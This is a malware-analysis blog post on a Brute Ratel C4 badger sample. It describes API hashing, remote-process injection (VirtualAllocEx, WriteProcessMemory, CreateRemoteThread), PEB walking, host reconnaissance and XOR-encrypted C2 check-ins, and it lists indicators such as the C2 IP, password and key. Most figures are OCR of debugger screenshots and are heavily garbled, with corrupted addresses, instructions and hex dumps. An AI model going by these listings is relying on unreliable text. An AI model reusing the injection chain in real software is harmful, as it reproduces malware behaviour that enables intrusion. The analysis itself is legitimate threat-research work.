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Summary

Brute Ratel C4 is a Red Team & Adversary Simulation software that can be considered an alternative to Cobalt
Strike. In this blog post, we’re presenting a technical analysis of a Brute Ratel badger/agent that doesn’t
implement all the recent features of the framework. There aren’t a lot of Brute Ratel samples available in the wild.
The malware implements the API hashing technique and comes up with a configuration that contains the C2
server, the user-agent used during the network communications, a password used for authentication with the C2
server, and a key used for encrypting data transmitted to the C2 server. The badger takes control of the infected
machine by executing 63 different commands issued by the C2 server. The first 20 commands will be described in

this blog post, while the rest of them will be detailed in an upcoming blog post.
Technical analysis
SHA?256: d71dc7ba8523947e08c6eec43a726fe75aed248dfd3a7c4f6537224e9ed05f6f

This is a 64-bit executable. The malware pushes the code to be executed on the stack in order to evade Antivirus

and EDR software:

Text:ekeapaaaaal6 186068 MV eax, JC7CT78h
.text:8800000800401085 push rax
text:eeeoeaaoaed4alens mov rax, G8782E746EB5746Eh
Jtext:bepaooapaadalale push rax
text:eeeeepooaedelell mov rax, BF632F7C33323148h
Jext:ebapepaeaed4a121E6 push rax
ctext:opaeepEaa840181C mowv rax, 646362617C333231h
Jext:eeappRRE481820 push rax
text:oeeoepaeRE481027 mowv rax, B4726F7773736156h
.text:0e002060800401631 push rax
text:eeeeepaoaedales2 mov rax, 7JCBEG32E6DBFE32Eh
Jtext: oappaapoaadelaic push rax
text:eeeepaaaaetalesD mov rax, G657474696F6C6564h
text:aoeepeee08401047 push rax
ctext:ooaee0e208401048 mowv rax, 486C616972747C36h
Jext:eeaapREE2e4681852 push rax
text:eeeoepae204081853 mowv rax, 387C38322E323731h
.text:000000688046165D push rax
text:eeeeepao0848185E mov rax, 2E37372E35347C36h
Jtext:ogpboapooadelacs push rax
text:eeeeea800481869 push 4Bh ; "K'

Figure 1

It implements the API hashing technique, which uses the “ROR EDI,0xD” instruction to compute 4-byte hashes

that are compared with pre-computed ones (Figure 2).
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Ltext:oooppea000415600
Ltext:00000008000418680 sub_41B688 proc near

Ltext:0000020200416600 mov edx, [rbp+3Ch]
Ltext:0000008880416603 add rdx, rbp
text:000000080041E606 mov edx, [rdx+88h]
Jtext:oeeepepee41868C add rdx, rbp
.text:006000000041860F mov ecx, [rdx+138h]

T

il e =

Ltext:oeaaa80800416612

.text:00000008000418612 loc_41B612:
.text:8800000008418612 dec ecx
.text:0000080800416614 mov esi, [rdx+2@h]
Ltext:0008022200416617 add rsi, rbp
.text:@00000000841861A mov esi, [rsi+rcx®4]
Ltext:0000028200418610 add rsi, rbp
Ltext:dE00080080841B6260 wor rdi, rdi

. text:808288888841E8623 xor rax, rax
.text:0000000000416626 cld

‘¥

.text:eeppa000008418627

Jtext:eeoee08080416627 loc_ 41B627:
Jtext:ae00000000416627 lodsh
text:pedeaoBe8R11E628 test al, al
.text:0000008000841B62A jz short loc_41B633

|

M=
.text:eeee00000841B62C ror edi, @Dh .text:eeeEE8802841E633
.text:000000888041662F add edi, eax .text:000000080041E633 loc_41B633:
.text:00000008804168631 jmp short loc_41B627| |.text:0e0080888841B633 cmp rdi, r8
.text:800000000041B636 jnz short loc_41B612
= 1

Figure 2

The VirtualAllocEx API is used to allocate a new memory area that will store a DLL file (0x3000 =
MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE):

. 64 40 RESTB UUUIUSUBUUUUUUUUUUUY 316 ERPLY U UUUUUUUUUUUUUUULILD
. sz %87F7 000000DO0000O0O00000 ST7 ESPTy 0.000000000000000000
. 52
. 52 xs7Tagword FFFF
| . 52 Bt P A PP
— FE D7 IrdirvirtuaTaTlocex vl =
ol i » | Default (x54 fastcall ~ |5 {20 Uniocke
| e e —Al -
[ —— e iz rex
[rdi=m<kernelsz.virtualaAl10CEx> (OOOOTFFBAESBTD20) 1 rdx 000000000000G000

r8 0000000000013E00

4
| - Cext: 000000000041B67A malware. exe: $1867A #LASTA 52 -3,2‘3?3?“3?3%233%%”

Figure 3

The Brute Ratel C4 configuration is stored in clear text however, in recent versions, the config is encrypted and
Base64-encoded. It contains the C2 IP address and port number, the user-agent used during the network
communications, a password used to authenticate with the C2 server, a key used to encrypt data transmitted to the
C2 server, and the URI:

s0 push rax X8/76 LUUULUBULLLUBULLULUL 516 EMPTY . ULULULLLULULULULUL
50 push rax X87r7 00000000000000000000 ST7 Empty O.000000000000000000
50 push rax

50 push rax x87Tagword FEFF

= bl — =

FF D7 call rdi rditwriteProcessMenory v =
A== - = I;afau\t(xﬁ'lfastm”) ~ [5_[5]00 unlocke

oK
2: rdx 0000000002640000
: ra 00D0DODODOGOC100
r9 0000000000013E00
[rsp+20] 0000000000000000

Fdi=<Kerne132. WriTeProcesshemory> (DDDD7FFBAESB7EZ0)

- TeXT:000000000041B6E7 malware. exe: $1B6E7 #1ABE7

3 'D000D0000D00000D
Woump1  @4pump2  $MDump3  @MDump4  Woumps @ wathi  bellocals | Stuct 0000000000000000
Address Hex ASCT.
000000000060C 100 20 03 00 00 0004 00 00 OO|FF FF 00 0O
000000000060C110
000000000060C120

000000000060C130 | 00
000000000060 140
000000000060C150 7
000000000060C160 |74 20 62 65|20 72 75 6E(20 63 6E 20|44 4F 53 20
000000000060C170| 6D 6F €4 65 |2E 0D 0D OA|24 00 00 00|00 00 0O OO
000000000060C180| 50 45 00 00|64 86 OB 00|19 89 21 60|00 00 00 0O

inlidiTh

is program canno
5

Figure 4
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[ 0000000000418714 5o BRI X87r6 00000000000000000000 ST6 EMPTY 0.00000000000D0000DG
0000000004187 15 0 push rax X87r7 00000000000000000000 ST7 EMPTY 0.000000000000000000
000000000041E7 16 0 push rax
0000000004187 17 0 push rax x87Tagword FEFF
0000000004187 18 0 push rax SEREES

call rdi rditWriteProcessMenory v _
= , | Default (x84 fastcal) =[5 )00 unlocke
rdi=<kernel32.writeProcessMemory> (00007FFS8AESB7E20) : ﬁ;’; 0000000002660000
: rs 0000000000GLFFOS
3 000D0000D0D0004E
TeXT:000000000041B719 malware. exe: $18719 #1A919 R
3 B000D0DBO0O00000
Woump1  @WDumpz  @MDump3  @loumps  @Moumps @ wath1  bellecas ' Stuct 0000000000000000
B 0000 0cs | 000 000
OGOBOGO00DELFEE (00 00 00 00[00 0D 00 00100 00 00 00 e " gacc Bocangio0g o0
e e 0000000000G0CODE | 0000000000000000
00000000006 1F FO8 |[3077C 134735 (26737371 2€ (31737 322E (32738 7¢ 38 O] D0 || 2000000002 ER0000.
et 000000000080C 058 | 0000000002640000
00000000D0GIFF1E|30 7C 74 72|69 61 6C 40|64 65 6C GF |69 74 74 65 |0|trialedeloitte sbintedliese sttt
00000DODDOGIFF2S| ZE 63 6F GD|2E 63 GE 7C|50 61 73 73|77 &F 72 &4|.com.cn|Password St Gl
00000DODDOGIFF3S| 31 32 33 7€ |51 62 63 6440 31 32 33|7C 2F 63 6F|123|abcdel?3|/co O oTonOndndol i
00000D0000G1FF48 | 6E 74 65 6E|74 2E 70 68|70 7€ 7€, 00|00 00 00 00|ntent.phpll..... D erC 00 | QuDon0n D0 A0

Figure 5

A thread that executes the entry point of the new DLL is created via a function call to CreateRemoteThread:

SEOBOEEEIEEAS CRERYEE X8/F% ULULUUUULULULULULULY 314 EMPTY U. UULUULULULULULULLY
g B X87F5 0000D000DODOOUOOO00D STS EMPTy O.000000000000000000
push rax Fax:"0|45.77.172.28| 80 X87r& 00000000000000000000 ST6 Empty 0.000000000000000000
push rbx X87r7 00000000000000000000 ST7 Empty O.000000000000000000
push rbx
push rbx x87Tagword FFFF
push rbx . wnm=
call rdi rdi:CreateRemoteThread v — — |
e M [ ) ~|[5_+|(J unlocke
rdi=<kernel3z.CreateRemoteThread> (00007 FFBAE5BECA0) ; T
3: r8 0000000000100000
3i r3 00000000026443A0
- TEXT:000000000041B74C malware. exe: $1874C #1A94C s: [rsp+20] 000DODDDOZEE0000 "0|45.77.172.28| 80| trialadeloit

Figure 6

The process extracts a pointer to the PEB from gs:[0x60] and another one to the PEB LDR DATA structure

(+0x18), which contains information about the loaded DLLs. The InMemoryOrderModuleList doubly-linked list

contains the loaded DLLs for the current process:

® || D00DOOOD00Z6444ED 65 48 8B 04 25 &0 00|mov rax,qword prr [l [50]

& || 00D00000026444F6 453 BB 40 18 mov rax,qword ptr ds:[rax+18]

® || D0000000026444FA 31 FF xor edi,edi

® || 000000000264 44FC 45 31 D2 xor riod,rilod

® || 00000000026444FF 31 ED xor ebp,ebp

® | 0000000002644501 45 31 ED xor rizd,ri3d

® || 0000000002644504 45 BB 45 20 mov rox,gqword ptr ds: [rax+2o]

® | 0000000002644508 48 85 C9 test rox,rcx

-@ ([ 0000000002644508 ~ 0OF 84 84 01 00 00 je 2644695

& 0000000002644511 4C BB 71 50 mov ril4,qword ptr ds: [rex+50] ri4:L"KERNEL32.DLL",
@ |( 0000000002 644515 44 BE 59 48 mov riid,dword ptr ds:[rcx+48]

@ 0000000002644519 45 21 C9 xor rad,rad

L] 126445 1C 45 21 CO xor rid,rad

. 43 OF B& 04 OE movzx eax,byte ptr ds:[ril4+ra] yvte ptr [ril4+r9*1:L"KE
& 0000000002644524 41 C1 C8 0D ror rid,D :
@ (( 0000000002644528 3C &0 cmp al,so 60:" "
@ | 0000000026445 2A ~ 76 0OE jhe Ze4453A

& (( 00000000026445 2C 0OF B DO movzx edx,al

#® || D00000000264452F 83 EA 20 sub edx,z20

#® || 0000000002644532 43 63 D2 movsxd rdx,edx

& || 0000000026445 35 49 01 DO add rs,rdx

-& | 0000000002644538 ~ EB 03 jmp 2644530

-& || 000000000264453A 49 01 CO add rs,rax

Figure 7

The malicious binary allocates new memory for another DLL that implements the main functionality using
VirtualAlloc:

0000000002 8B 53 50 mov edx,dword ptr ds:[rbx+50] X87r7 00000000000000000000 ST7 EmpTy 0.000000000000000000
0000000002 41 B9 40 00 00 00 mov rad,40 40: '@’
00000000 41 B8 00 30 00 00 mov r8d, 3000 x87Tagword FFFF
21 €9 X0r ecx,ecx
41 FF D2 call rio rio:virtualalloc v
T e T S R O 5 |Defeult (x4 Fastcal) v [5 []0] Unlocke
1t rex
r10-<kernel32.VirtualAl10C: (D0D07FFBAESBCEAD) R H OO0 TEOD
3: r3 0000000000003000
4: r39 0000000000000040

Figure 8

LoadLibraryA is utilized to load multiple DLLs into the address space of the current process:

Figure 9

v
Default (x64 fastzal)

000000000264470E 41 88 4F 0C mov_ecx,dword ptr ds:[ri15+C] ecx: "KERNEL32.d11 X87r7 00000000000000000000 ST7 EMPTY 0.000000000000000000
0000000002644712 85 C9 ST ecx, ecx ecx: "KERNEL3Z,d11"
0000000002644714| v OF 84 BC 00 00 00  |je 26447A6 x87Tagword FFFF
00000000 4C 01 FL add rex,rid rcx: "KERNEL32.d11"
41 FF D5 call ri3 r13:Loadlibrarya

- [5 [2] 0] unlocke

TKERNEL32.d11"

F13=ckernel32.LoadLibraryA> (0D0007FFBAES913F0)
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1t rex
2t rdx ODONONANONONNZ 0N

The malware retrieves the address of relevant functions by calling the GetProcAddress method:
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0000000002644772 49 8D 54 16 02 lea rdx,qword ptr ds:[ridirdx+2] rdx: "Deletecriticalsec
0000000002644777 48 89 F1 mov rex,rsi x87Tagword FFFF
00000000026447 4C 89 aC 24 20 mov_gword ptr
7| FF D5 call rbop rbp:GetProcAddress v
T T T = 5 | Default (x64 fastcall ~|[5_2] 00 unlocke
1: rcx 0000 kernel32.00007FFSAES 80000
rbp—<Kerne122. GeTPrOcAddr e55> (0DO0TFFSAES SBFED) 2: rdx 0DODOODO026384DE "Deletecriticalsection”

Figure 10

The binary flushes the instruction cache for the current process using the NtFlushInstructionCache function (see
Figure 11).

| 0000000002644362 45 31 CO xor rsd,rsd
Dz xor edx, edx x87Tagword FFFF
or_rcx, FFFFFFFFFFFFFEFE
o7 call rdi e ——

r rdi:NtFlushInstruction v

y | Defeult (x64 fastcal) - [ tnlocke:

SR
rdi=<ntdl1.NTFIushInstructionCache> (000D07FFEB1151A60) 2: rdx 0000000000000000
3 rs 0000000000000000

Finally, the malware passes the execution flow to the newly constructed DLL:

41 FF D5 |ca1-1 ri3

r13=0000000002671350

0000000002644 880

WWoump1  @4pump2z  @WDump3  @WDump4  @Wpumps @ watch1  Ix=lLocaks i struct

Address Hex ASCII
0000000002670000 4D 5A 90 00|03 00 OO0 00|04 OO OO OO|FF FF 0D OO(MZ..........
0000000002670010| B8 00 OO0 OO|00 0O OO 00|40 OO OO 00|00 OO0 OO0 0O .
0000000002670020| 00 0O OO0 OO|O00 OO OO 00|00 OO OO 00|00 OO0 OO0 0O .
0000000002670020| 00 00O OO0 0OO|O0O0 0O OO 00|00 OO OO 00|80 OO0 OO0 0O .
0000000002670040|0E 1F BA OE|(0D B4 09 CD |21 B8 01 4C(CD 21 54 68| .. L Lith
0000000002670050| 69 73 20 70|72 6F 67 72|61 6D 20 63|61 &6E G6E &F|is program canno
0000000002670060| 74 20 62 65|20 72 75 GE|20 69 GE 20|44 4F 53 20|t be run in DOS
0000000002670070| 6D 6F 64 &5 (2E 0D OD OA|24 0O 00 00|00 OO 00 00| mode....$
0000000002670080|50 45 00 00|64 86 OB 00|19 89 31 &0(00 0O OO0 OO
0000000002670090| 00 00 00 OO(FO OO 2E 22(0B 02 02 22(00 EA 00 0O
00000000026700A0| 00 3A 01 00|00 18 00 0050 13 00 0000 10 00 00
00000000026700B0 | 00 OO B4 8|00 00 OO 00|00 10 OO 00|00 02 OO0 OO
00000000026700C0 |04 00 OO0 OO(0D 00 OO0 00|QS OO0 02 00100 00 00 00
00000000026700D0 | 00 CO O1 OO|O0 04 OO0 00|75 52 01 00|03 OO0 OO0 OO
00000000026700E0| 00 0O 20 OO|00 0O OO 00|00 10 OO 00|00 OO0 OO0 0O
00000000026700F0 | 00 _00 10 Q0100 00 00 00|00 10 00 00|00 00 00 0O
0000000002670100| 00 00 00 O0(10 OO0 OO0 OO(0D 70 O1 OO(4E OO0 OO0 OO
0000000002670110| 00 80 01 0OO0(94 08 00 00|00 OO OO0 OO(0O0 OO OO OO
0000000002670120| 00 30 01 OO0(4C 08 00 OO(00 OO OO OO(0O0 OO OO OO

Figure 12

As we can see below, one of the export functions of the DLL is called “badger_http_1”, which reveals a Brute

Ratel agent/badger.
Marne Address COrdinal
TlsCallback_0 Q00000000267 16B0
TlsCallback_1 Q0000002671680

DlEntryPoint 0000000002671350 [rnain entry]

Figure 13
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il s 5

Jtext:BRe00800826750A8 ; Exported entry 1.
Ltext:bepaaaaRe2675048

Ltext:eapaaaape2675040

Ltext: eappoaape2o7S0AR

text:Ba00008882675840 public badger http 1
Jtext: 0000000002675048 badger_http 1 proc near
Ltext: bagBaaaRe 26750840

text: BBEE0680826758A8 var S58= qword ptr -58h
text:BBE00880826758A8 var_S8= qword ptr -52h
text:oo000B00802675049 arg_B= qword ptr B
Ltext:eapaaaape2675048

Ltext:aae00880882675840 int 3 ; Trap to Debugger
text: BREAEEEBEE2675BAL push rdi

Ltext: e0000080082675842 push ril4
Ltewt:2000008062675844 push rl3

Ltewt: BBE2E688826758A6 push rl2
Ltewt:BRE2E88082675848 push rbp
text:Bae80088826758A9 push rdi
text:Baa8008882675848 push rsi
Ltext:BaeeeBB8826758AB push rbx

text: BEEEEBBEE26758AC sub rsp, 38h

text: 20000080682675868 mov [rsp+78h+arg_ @], recx
text:0000000802675868 call sub 2675628
Ltext: 8BE888886826758B0 mowv ré, rax
Lewt:eepaaEaee2675808 mov rax, gs:48h
text:Ba000080802675809 lea rsi, [r8+rax]
Figure 14

The FreeConsole method is used to detach the process from its console:

RIP e T 000000000267 48EE

EF 15 40 39 01 00 |cn11 gword ptr ds:[<&Freeconsolex] |

| gword ptr [00D0DDOD0O0Z2688234 <&FreeConsolex]=<kernel32.FreeConsole»

Figure 15

The DLL repeats the process of finding functions address, as highlighted in Figure 16.
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Jdext:aae8880002677377 mov ecx, BECBE4ESEh
Ltext:Baee0BBR8267737C lea rdi, [rsp+l6Bh+var_26]
Jdextepeepeaes el 7384 mov rdx, rax

Jfext: 0peEEEEeR2677387 call sub_2875048

fext: 8BeaaE8008267738C mov ecx, 16B3FE7Zh

Lext: 0002888868267 7391 mov cs:gword 2686848, rax
Ltext:BE200880802677308 call sub_ 2675048
Ltext:aae8880002677390 mov ecx, 38A9223Ch

Jext: eappaaaee2ed7IAZ mov cs:qword_ 2685668, rax
Ltext:eae08880826773A9 call sub_ 2675048
Jtext:eeeepeae026773IAE mov ecx, BBEFE@EE31h

LText: 0opRe0000267 7363 mov cs:gword 2685943, rax
Ltewt: 00000800267 73BA call sub 2675048
.text:868888080026773BF mov ecx, BFFD97FBh
Jtewt:aeBeaaaR026773C4 mov cs:gqword 2686868, rax
Ltewt: BRE2E680826773CE call sub_ 2675048
LJdext:epeapeae 2677308 mov ecx, 99EC395Eh

Lext: eeppaaaea2e7 7305 mov cs:qword_ 2685698, rax
Jtext:aeeeaee8e267730C call sub_ 2675048
Jdextopepaeaee2e773IEL mov ecx, 9FCF5965h

Lgext: foaaaa08026773E6 mov cs:gqword 2685848, rax
Ltext: BBE888806826773ED call sub 2675048
text:eeeeeeeee26773F2 mov ecx, 7C8B17ASh

Lext: eapa8880026773F7 mov cs:gqword_2685B63, rax
Ltext:Be08880826773FE call sub_ 2675048
Jgext:epeeReaee2e7 7483 mov ecx, S6C61229h
Jtext:eeepeeape2e7 7488 mov cs:gqword_2686168, rax
Jfext: 0peEEEEE0267740F call sub_2875048

Lfext: 8BaaEE80026T77414 mov ecx, 7C8817BBh

Lext: G0022882682677419 mov cs:gword 2685048, rax
Jtext:BE200820802677428 call sub_ 2675048
Ltext:20688080002677425 mov ecx, 4EE4A845h
Jext:eappaaape2ei 7424 mov cs:qword_2685CB3, rax
Ltext:eaee888082677431 call sub_ 2675048
Jtext:eeeeeeaee2677436 mov ecx, 178C3F88h

Ltext: 0oppeeape2e7 7436 mov cs:gqword 2685FE@, rax
Jtewt: 200000000267 7442 call sub 2675048
Ltext:80888808002677447 mov ecx, 72BD9CD0DH
Ltewt:ebBeaREEE267 7440 mov cs:gword 2685098, rax
Ltewt: BREREE8B62677453 call sub_ 2675048

Figure 16

The process extracts the system time and passes the result to the srand function:

o' 3 :|J= (12 38 3A 01 00 |ig;1e::6$§xmr dsi[<&_time64>] ‘ =
B = o
i mm - e o e Defaul 64 fsteal) ~[5_[£]] Unlodke
gword ptr [000000000268833C <& timeé4>]=<msvert._time6d> ; :ﬁ: FC20000 comhase. MNONTFERAFEC 20000
Figure 17
The atoi method is utilized to convert the port number to integer:

1ii)oe scoace ‘mn:l/_lrcxér{s |r’cx:'sn | ris:"so ===
RIFy T T >e ca’ <atoix

il e i T T 5 | Defaut (x5 Fastcal) v |[5 2] unlocke
o S

Figure 18

The malicious process creates an unnamed mutex object by calling the CreateMutexA API, as displayed in Figure
19.
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45 31 Co xor red,rad €5 0028 D5 0028
48 8D 93 68 03 00 00(7ea rdx,qword ptr ds: [rbx:365] Cs 0033 55 0028
48 €7 83 BO 04 00 00|mov qword ptr ds: [rbx+480],0
48 89 D7 mov rdi,rdx X87r0 00000000N0NG00000000 STO Empty 0.000000000000000000
;f g; 03 00 00 00 00 ‘:g‘rf gwbrd ptr [rbx],0 X87r1 00000000000000000000 ST1 EMPLY O.000000000000000000
< o X87r2 000000DOOOODDODONO00 ST2 EMPty O.0000DDODODODOOOOO
ot e e el bkl G o Lo opiiod x87r3 00000000000000000000 5T3 Empty 0.000000000000000000
B ) e el e e S e B X87r4 00000000000000D0D000 ST4 EMPTy 0.000000000DODC00000
45 C7 43 10 00 00 00|mov quord prr ds: frbxs20],0 X87r5 000000DODOODDODODOD0 STS EMPTY O.0000DOODODODGODDO
48 C7 83 CO 04 00 00|mov qword ptr ds: [rbx+coi,o X87r6 00000000000000000000 ST6 EMPTY O.0000000000000000D00
X87r7 00000000000000000000 ST7 Empty O.00000000000000000C
x87TagWord FEFF
v
, | Default (x84 fastcal) ~|[5 2] unlocke
1t rex
aword ptr [0D0D0D0DOZGSSFED <&CTeateMutexAs]=<kernels2.Createnutenis R OIOCEORIONONI0D
8 0000000000000000
48 8D 7C 24 3C Tea rdi,aword ptr ss:lrspracl
4 89 F1 mov rex,ria x87TagWord FEFF
C7 44 24 5C 14 01 00|mov_dword ptr +5c, 114
FF 15 Co A8 00 00 |call gword ptr v
S T 5 | Defoult (x6+ fastcal) @
T rox
aword ptr [0DODOODODZESSECE <EGetUserNamews]=<advapisz.GetUser Nanews 2} rdx 00000000

Figure 20

GetComputerNameExW is used to obtain the NetBIOS name associated with the local machine:

49 89 F8 mov r8,rdi

48 88 13 mov rdx,qword ptr ds: [rbx] x87Tagword FEFF

89 03 00 00 00 v ecx,3

FF 15 77 A8 00 00  |call gword ptr ds:[<eGercomputernameex v

e e e bt : = Default (x64 fastcall) i

rex
rdx 00000000
i rg 0000000002ASEESC

gword ptr [0000000002685BB0 <&GetCOomputerNameEXw>]=<kernel32.GetComputer NameExw>
Figure 21

The badger retrieves a pseudo handle for the current process using GetCurrentProcess:

e S S BRIl <5 GetCur [ entProcesss)
>
[gword ptr [D00DDO0D0DZE6B5CF8 <&GetCurrentProcess>]=<kernel3Z.GetCurrentProcesss
Figure 22
The OpenProcessToken API is utilized to open the access token associated with the process (0x8 =
TOKEN_QUERY):
lea rs,qword ptr ss:frsp+5o]
i SE:::?M ) xa7Tagword FFFF
eall rdi rﬂl:OpenPrn(EssTﬂken) v e = E“]umudce
,m rdx_0000000000000008
i rs 0000000002A9EEBO

Figure 23

The malware verifies if the token is elevated using the GetTokenInformation method (0x14 = TokenElevation):

48 88 4C 24 50 mov roxgword ptr ss:frspeso] X87r6 00000000000000000000 ST6 EMPTY 0.00000000000DO0DODD
41 B9 04 00 00 00 mov rad,4 X87r7 00000000000000000000 ST7 Empty O.000000000000000000
4C BD 44 24 38 lea r&,qword

2 x87Tagword FFFF

v
...... Default (x64 fastcal) b

word ptr [000D000002685D40 <&GetTokenIntormations]=<advapi32.GetTokenInformations
000000000267B378

Figure 24

rdx_0000000000000014
8 0000000002A9EEDS
r9 0000000000000004
: [rsp+20] 00DDODDODZAIEEAS

5

It obtains the current process ID via a function call to GetCurrentProcessld:

T

FF 15 98 A7 00 00 |cn'|'| qword ptr ds:fc&Getcur‘r‘entPr‘bcessId:i

| gword ptr [D000000D002685B50 <&GetCurrentProcessId-]=<kernel32.GetCurrentProcessId>

Figure 25

GetModuleFileNameW is utilized to extract the path of the executable file of the process:
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41 B8 04 01 00 00
ac 89 E2

31 C9

89 23 28

FF 15 £4 AS 00 00

mov r8d,104
mov rdx,ri2
xor ecx,ecx
mov_dword ptr ds: [rbx+23],eax

call gword ptr ds:[<&GetModuleFileNamens v
R Default (x64 fasteal)
Torox
Gword ptr [DOD00D000Z2685920 <&GetModulerilenamens J=<kernel32, GetModuler11eNanens 2: rdx 000 A3F1D
3: rs 0000000000000104

X87r7 00000000000000000000 ST7 EMPTY O.000000000000000000

x87TagWord FFFF

- [ 12]] uniock=

8

Figure 26

The above path is Base64-encoded using the CryptBinaryToStringW API (0x40000001 =
CRYPT_STRING_NOCRLF | CRYPT_STRING_BASEG64):

41 B8 01 00 00 40
48 89 74 24 20
44 89 EA

4C 89 E1

mov r8d,40000001
mov qword ptr ss:[rsp+200,rsi

X87r7 D00O0O000D00000000000 ST7 EMPTY O.000000000000000000

mov edx,r13d
mov_rex,riz r
call aword ptr ds:[<&CryptBinaryTostring

. x87Tagword FFFF
S

\Users’

FF 15 AD CO 00 00

qword ptr [0000000002685928 <&CryPTEINaryTOSTringW»]=<crypt32.CryptBinaryTostringws
0000000002679882

Figure 27

fault (x64 fastcal)

Def ~|[5_+](J unlocke
1. rex

2

3

H

s

>

108 L°C: \\Users\\IIll\DeskTop\\malware. &
i rdx 00000000

: r8 0000000040000001
i rs 0000000002746310
: [rsp+20] 0DOODODODZAIEE2C

The process retrieves version information about the current operating system using RtlGetVersion:

iiioe 48 8D 4C 24 5C lea rox,qword ptr ss:ffrsp+scl |
g— FE 15 7A A8 00 00  |€all gword ptr ds:[<&RtlGetversions] v ]
. = ‘Dlafau\t(xﬁ'ﬂastm”) +|[5_ %] Unlocke
T rox
aword ptr [00D0000002685C7E <&Rt1IGetVersion»1=<ntd]11.Rtl1GetVersion> 155 rav 4NN | M eancur=arananalioue11=1=0"

Figure 28

The WSAStartup function initiates the use of the Winsock DLL by the current process:

48 8D 54 24 20
B9 02 02 00 00
FF 15 03 16 01 00

x87Tagword FFFF
mov_ecx,202
call gword ptr ds:[<awsAstartups]

Tea rdx,gword ptr ss:lrsp+20 |

= [ tnlocke

v
Default (x64 fasteall)

1t rex
2: rdx DODOODDDDZAIF430

[aword ptr [000ODOOD0Z685F40 <AWSASTarTUp>]=<Ws2_32.WSASTartup>

Figure 29

The badger constructs a JSON that stores the password extracted from the configuration, the computer name, the

OS version, the Base64-encoded executable path, the username, and the process ID:

Figure 30

The JSON is encrypted using the XOR operator (key = “abcd@123” from configuration) and transformed by other

operations:

Address Hex ASCII

00000000027 46800 [(FB 00 22 00|63 00 &4 OO|73 00 22 00(3A 00 7B oO|f.".c.d.s.".:.{.
00000000027 468E0( 22 00 61 00|75 00 74 00|68 00 22 OO(|3A 00 22 00|™.&.u.t.h.™.:.".
00000000027 468F0 (50 00 61 00|73 00 73 OO|(77 00 6F OO|72 00 &4 DO|P.a.5.5.wW.0.r.d.
0000000002746900( 31 00 32 0033 00 22 00|(7D 00 2C OO|22 00 6D 00(2.2.3.".}.,.".m.
0000000002746910( 74 00 64 00|74 00 22 0O0(3A 00 7B 00|22 00 68 OO|t.d.t.™.:.{.".h.
0000000002746920(5F 00 6E 00|61 00 6D OO|65 00 22 0O0(3A 00 22 00| _.nm.a.m.e.”.:.".
0000000002746930( 44 00 45 00|52 00 4B 00|54 00 4F 00|50 00 2D 0OO|D.E.5.K.T.D.P.-.
00000000027 46940 zz oo | I
00000000027 46950 | 2C 00 22 00|77 OD 76 00|65 OO0 72 OO0[22 00 3A 00| ,. .wW.V.E.F. .:.
0000000002746960( 22 00 31 0030 00 2E 00|30 00 22 OO|2C 0O 22 0O(™.21.0...0.".,.".
0000000002746970( 62 00 6C 00|64 00 22 0OO(3A 00 22 00|31 00 36 00|b.1.d.™.:.".1.6.
0000000002746980( 32 00 39 00|39 00 22 00|2C 00 22 OO|70 0O S5F 00(|2.9.9.".,.".p._.
0000000002746990( 6E 00 61 00|60 00 &5 00(22 00 3A 00|22 00 51 0O|n.a.m.e.”.:.".0Q.
00000000027 46940 [N AT o S
00000000027469B80 (51 00 42 00|7A 00 41 00|47 00 55 00|41 00 63 00|Q.B.Z.A.G.U.A.C.
00000000027469C0( 67 00 42 00(7A 00 41 0OO(46 00 77 00|41 00 55 0OO|Q.B.Z.A.F.W.A.U.
0000000002746900( 67 00 42 00|46 00 41 00|45 00 30 00|41 00 58 00|Q.B.F.A.E.D.A.X.
00000000027 469E0( 41 00 42 00|45 00 41 0OO(47 00 55 00|41 00 63 OO|A.B.E.A.G.U.A.C.
00000000027 469F0 | 77 00 42 00|72 00 41 00|48 00 51 00|41 00 62 00|w.B.r.A.H.Q.A.Db.

Figure 31

48 8B 93 60 08 00 0O|mOV rax,qword pTr ds:|rbx+860] Fax:apcd@izat, [Fbx- | XS8/F/ UUULULUDUDUDUULULUDY 1/ EMPTY U.ULLLULULULULLULULY

48 8B 8C 24 BO 00 00|mov rcx,qword ptr Brsp+sol [Fsp+B0]: " [\ cdsy": {

4C 8D 84 24 CO 00 00|lea ra,qword ptr +C Ol x87Tagword FFFF

41 89 C1 mov_rad

E8 8D CF FF FF €anm z672F00 v

S 3 | Defauit (x84 fasteal) ~ [5 [£][] uniodee
1 rex 46310 T{\"cds\": [\"auth\":\"Passnord1zs\"]
2@ rdx 41AE0Q "abcd@123”
3: rs& 0000000002A9F3BO
4: r9 000000000000000D
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0000000002672C60 31 Co XOr eax,eax
00000000026 44 8A 04 02 mov r8b,byte ptr ds: [rdx+rax] rdx+rax*1: "abcdei123"
44 30 04 01 xor byte ptr ds:[recx+rax],r8b
00000000026 48 FF CO inc rax
00000000026 48 83 F8 10 omp rax,10
00000000026 ~ 75 EF jne 2672C62
00000000026 c3 ret
v bt s =3
< >
byte ptr [rox+rax*1]=[0000000002A9F1B0]=7E "{°
rsb=61 'a’
000000000267 2C66
Weoump1  @%pump2  @WDump3  @WDump4  @Woumps @ watch1  Iv=lLocals & Struct
Address | Hex | AscTT
0000000002A9F1R0 28] 22 63 6473 22 3A 7B|22 61 75 74|68 22 3A 22|f"cds": {"auth”

Figure 32

Address | Hex | AscIT |
00000000027 4680099 90 33 00|87 70 E6 FC|OE DD 57 C2(10 93 B7 A%9|..3..p®i.YwWA.. 8
00000000027 468E0| B1 95 E2 ZE |96 3A 42 F4 |17 E8 4E 0D |7F 83 C3 06| +.4d..:B6.8N...A.
00000000027 468F0|C5 80 75 DC(9C BC Al 77|42 E3 47 AF|33 01 50 66|A.ul..iwB3Gsg3.Pf
00000000027 46300 | FE 8D 5E D6IB7 DB 61 8F |38 8A D9 1F |52 96 63 B3| b.A3.Da.s.0.¥v.c=

Figure 33

The user-agent passed to the InternetOpenW function seems to indicate that the product was used by Deloitte
China (Figure 34).

48 8B 4B 40 mov rox, qwor-d pEr ds:[rbx+40] FOXILUTFIAlRdET0ITES, | AS/TD UUUUUULULUUUUUUUULIUY 313 EIIPLY U, UUUUULULUULULUIUIY

0000000002
X87ré 00000000000000000000 STé Empty 0.000000000000000000

000000000 45 31 C9 Xor rod,r
0000000002 45 31 €O xor r’sd,rsd X87r7 00000000000000000000 ST7 EMPTY 0.000000000000000000
0000000002 €7 44 24 20 00 00 00|mov dword ptr ss:Hrspr2ol,0
000000000 48 63 FO movsxd rsi,eax x87Tagword FFFF
31 D2 xor_edx, edx .
